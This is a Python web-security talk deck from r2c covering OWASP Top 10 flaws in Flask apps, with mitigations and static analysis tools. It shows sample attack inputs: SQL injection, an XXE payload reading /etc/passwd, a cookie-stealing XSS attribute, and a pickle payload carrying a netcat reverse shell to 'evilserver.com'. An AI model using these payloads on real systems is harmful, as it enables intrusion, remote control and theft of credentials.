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feel free to ask questions in chat!
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Hand 
raised by 
accident 
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it's fun to be a criminal

why does a flask app need to be robust, anyways?



Who is r2c?
Presenting tonight:
Isaac Evans, co-founder @ r2c
formerly: BS/MS MIT, MIT Lincoln Labs, US DoD

Other team members from: Google, Facebook, 
NCC Group, INRIA, MIT, Stanford, Palantir, Meraki, 
Microsoft, and Avira

Our work: automate security for devs: release 
open-source tools and provide commercial 
services for enterprises on top of them
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is
python app.py # secure?



1. Understand the stack
2. Build ontology of vulnerabilities
3. Use tools to automatically check security & correctness

# secure or not?



# secure or not?

#1: understand the stack



Good news
● We use Python!
● So we’re immune to a lot of attacks:

○ Heap/buffer overflows → stack smashing
○ Most memory disclosures

● Some caveats:
○ Memory leaks are memory-safe
○ Python modules can have C bindings, e.g. 

numpy.empty allocates uninitialized memory

https://brson.github.io/rust-anthology/1/memory-leaks-are-memory-safe.html
https://docs.scipy.org/doc/numpy/reference/generated/numpy.empty.html#numpy.empty


someone 
else's responsibility;
but stay up to date!

> python app.py

cpython

libc / musl

operating system

builtin / 3rd-party libs (Flask/Django)

app.py



> python app.py
Recommendation: stay up to date!

● Update 3rd party libraries: use pipenv or poetry so it's easy
● Update Python: subscribe to releases on Github
● Update your OS base image
● Find a security subscription 

service if you need prioritization: 
GitHub security alerts,  snyk.io, 
pyup.io

pipenv update

https://github.com/python/cpython


← your responsibility

> python app.py

cpython

libc / musl / CRT

operating system

builtin / 3rd-party libs (Flask/Django)

app.py



# secure or not?

#2: ontology of vulnerabilities



> python app.py
What kind of vulnerabilities can my webapp have?

Ontologies: 
● Open Web Application Security Project (OWASP) Top 10
● MITRE CWE (very extensive, used in governments, etc.)

My guiding philosophy: A short wall is better than a tall gatehouse
● Be consistent
● Simple is better than complicated

https://owasp.org/www-project-top-ten/
https://cwe.mitre.org/


1. Injection
2. Broken authentication
3. Sensitive data exposure
4. XML XXE
5. Broken access control
6. Security misconfiguration
7. Cross-site scripting (XSS)
8. Insecure deserialization
9. Components with known vulnerabilities

10. Insufficient logging & monitoring

Top 10 from Open Web Application Security Project



A1: Injection
Many kinds of injection:

● SQL injection
● Command injection
● Code injection
● Header injection
● Template injection



A1: Injection: SQL injection

what’s the problem?

def search(request):
    query = request.GET['q']
    sql = f"SELECT * FROM some_table WHERE title LIKE '%{query}%';"
    
    cursor = db.cursor()
    cursor.execute(sql)
    ...



A1: Injection: SQL injection

q="' OR 1=1"

Database sees: 

"SELECT * FROM some_table WHERE title LIKE '' OR 1=1"

def search(request):
    query = request.GET['q']
    sql = f"SELECT * FROM some_table WHERE title LIKE '%{query}%';"
    
    cursor = db.cursor()
    cursor.execute(sql)
    ...



recommendations, pick one: 
1. Don’t use SQL (Use an ORM)

2. Sanitize all user input (hard to remember to do it everywhere)

3. Maintain separation between code and data -- parameterized queries

4. Automatically enforce either #1, #2, or #3

user = User.get(request.query[‘id’])

user = q.exec(‘SELECT * WHERE id=%s’ % (strip_bad_chars(request.query[‘id’])))

user = q.exec(‘SELECT * WHERE id=?’, request.query[‘id’])

pip3 install bento-cli && bento init



A4: XML External Entity Expansion (XXE)

what’s the problem?

<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>



A4: XML XXE

https://docs.python.org/2/library/xml.html#xml-vulnerabilities https://docs.python.org/3/library/xml.html#xml-vulnerabilities

https://docs.python.org/2/library/xml.html#xml-vulnerabilities
https://docs.python.org/3/library/xml.html#xml-vulnerabilities


recommendations, pick one: 
1. Don't use XML

2. Disable XXE (XML External Entity) support in your library 

3. Use a different library

4. Automatically check to make sure you're using not using the vulnerable libraries:

???

import defusedxml; import defusedexpat;

pip3 install bento-cli && bento init

???

python -m pip install dlint && python -m flake8 --select=DUO107,DUO135



A6: Security misconfiguration
from flask import Flask
import logging

app = Flask(__name__)
app.debug = True
app.secret_key = 'development key'

@app.route('/')
def index():
    logging.info("send a response!")
    return "<html><body></body></html>"

what's the problem?



A6: Security misconfiguration

From one line of code!

https://labs.detectify.com/2015/10/02/how-patreon-got-hacked-publicly-exposed-werkzeug-debugger/

https://labs.detectify.com/2015/10/02/how-patreon-got-hacked-publicly-exposed-werkzeug-debugger/


recommendation: 
1. Read the documentation for your framework. Pay 

attention to the "notes"!

2. Use CODEOWNERs so that experts in the framework 
review important changeset (c.f. angular.js)

3. Automate finding these issues as much as possible

from the Python 3.7 docs

https://help.github.com/en/github/creating-cloning-and-archiving-repositories/about-code-owners
https://docs.python.org/3.7/library/logging.config.html?highlight=security#logging.config.listen


A6: Security misconfiguration, part 2



A6: Security misconfiguration, part 2
@app.route('/login', methods=['POST'])
def login():
    ...
    session.clear()
    session['user_id'] = user.id
    session.permanent = True
    ...

what's the problem?



A6: Security misconfiguration, part 2

Cookie could be requested over HTTP connection, not HTTPS
Cookie could be read via Javascript (stealing user sessions if XSS happens)
Cross-site request forgery of cookie (CSRF)

@app.route('/login', methods=['POST'])
def login():
    ...
    session.clear()
    session['user_id'] = user.id
    session.permanent = True
    ...



recommendations
1. Follow Flask session cookie recommendations:

2. Do this for all cookies you create:

3. Automatically check to make sure you're doing this:
https://bento.dev/blog/2020/bento-check-keeping-cookies-safe-in-flask/

app.config.update(
    SESSION_COOKIE_SECURE=True,
    SESSION_COOKIE_HTTPONLY=True,
    SESSION_COOKIE_SAMESITE='Lax',
)

resp.set_cookie('user', 'flask', secure=True, httponly=True, samesite='Lax')

https://flask.palletsprojects.com/en/1.1.x/security/#set-cookie-options
https://bento.dev/blog/2020/bento-check-keeping-cookies-safe-in-flask/


A7: Cross-site scripting
<body>
  <h1>welcome to my website {{ app_name }}</h1>
  <form>
    <input value="{{ value }}">
  </form>
</body>

what's the problem?



A7: Cross-site scripting
<body>
  <h1>welcome to my website {{ app_name }}</h1>
  <form>
    <input value="{{ value }}">
  </form>
</body>

value = "onmouseover=alert('xss:' + document.cookie)"



A7: Cross-site scripting
Straight from the docs:

Flask configures Jinja2 to automatically escape all values unless explicitly told otherwise. This should rule 
out all XSS problems caused in templates, but there are still other places where you have to be careful:

- generating HTML without the help of Jinja2
- calling Markup on data submitted by users
- sending out HTML from uploaded files, never do that, use the Content-Disposition: attachment 

header to prevent that problem.
- sending out textfiles from uploaded files. Some browsers are using content-type guessing 

based on the first few bytes so users could trick a browser to execute HTML.

Another thing that is very important are unquoted attributes.

https://flask.palletsprojects.com/en/1.1.x/security/


recommendations: 
1. Use a framework like React.js which is less vulnerable to XSS

2. Always use .html extension for templates

3. Set the Content Security Policy for your application

4. Use Flask-Talisman by Google

5. Automatically enforce one of the above!

render_template("index.html", context)

response.headers['Content-Security-Policy'] = "script-src https:"

from flask_talisman import Talisman; app = Flask(...); Talisman(app)

<script src="https://unpkg.com/react@16/umd/react.development.js" crossorigin>

https://github.com/GoogleCloudPlatform/flask-talisman


A8: insecure deserialization
import pickle

def get_prefs(user_id):
user_prefs = pickle.load(open(f'user-{user-id}.prefs'))
return jsonify(user_prefs)

def save_prefs(user_prefs, user_id):
pickle.dump(user_prefs, open(f'user-{user-id}.prefs', 'w'))

what's the problem?



A8: insecure deserialization

cposix
popen
p1
(S'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc evilserver.com 
443 > /tmp/f'
p2
tRp3
.

Also a problem for many other formats, pyyaml for instance

https://root4loot.com/post/exploiting_cpickle/



But wait, there's more!
OWASP Top 10 for webapps

1. Injection
2. Broken authentication
3. Sensitive data exposure
4. XML XXE
5. Broken access control
6. Security misconfiguration
7. Cross-site scripting (XSS)
8. Insecure deserialization
9. Components with known vulnerabilities

10. Insufficient logging & monitoring

OWASP Top 10 for APIs

1. BOLA (Broken Object Level Authorization)
2. Broken Authentication
3. Excessive Data Exposure
4. Lack of Resources & Rate Limiting
5. BFLA (Broken Function Level Authorization)
6. Mass Assignment
7. Security Misconfiguration
8. Injection
9. Improper Assets Management

10. Insufficient Logging & Monitoring





security



# secure or not?

#3: tools to automate security



What kinds of tools?
● Formal methods
● Secure-by-design languages and frameworks
● Static analysis
● Dynamic analysis (fuzzing, etc.)
● Let people poke it (bug bounties!)



frameworks
Good frameworks and good defaults

● Avoid SQL injection: SQLAlchemy (not foolproof)
● Avoid XSS: React.js
● Avoiding XML vulnerabilities: defusedxml 
● Avoid some CSRF with authentication via JWT (JSON Web Tokens) instead of cookies



security static analysis tools
● Free:

○ Bandit (64 security rules) or Dlint (38 security rules, newer)
○ Flake8 and associated plugins 
○ Bento packages Bandit, Dlint, Flake8, >100 r2c checks, + other OSS tools 

(shameless plug, it's made by r2c! bento.dev)
● Proprietary/closed license/SaaS:

○ SonarPython (36 security rules)
○ Commercial tools like Coverity, Fortify, Veracode, Checkmarx ($$$)

https://bento.dev/


what do open source projects use?



often quite noisy
~100 results per package for
Bandit latest run on top
3000 PyPi packages

log y-axis range [1-100,000]



takeaways
● Stay up to date on dependencies + your stack!
● Read docs for your framework

○ https://flask.palletsprojects.com/en/1.1.x/security/
○ https://docs.djangoproject.com/en/3.0/topics/security/

● Check your code with code!
○ Manually with Flake8, Bandit, Dlint
○ On each commit/push: https://bento.dev

We’d love your feedback on this presentation!
https://go.bento.dev/survey

https://flask.palletsprojects.com/en/1.1.x/security/
https://docs.djangoproject.com/en/3.0/topics/security/
https://flake8.pycqa.org/en/latest/
https://bandit.readthedocs.io/
https://github.com/duo-labs/dlint
https://bento.dev
https://go.bento.dev/survey

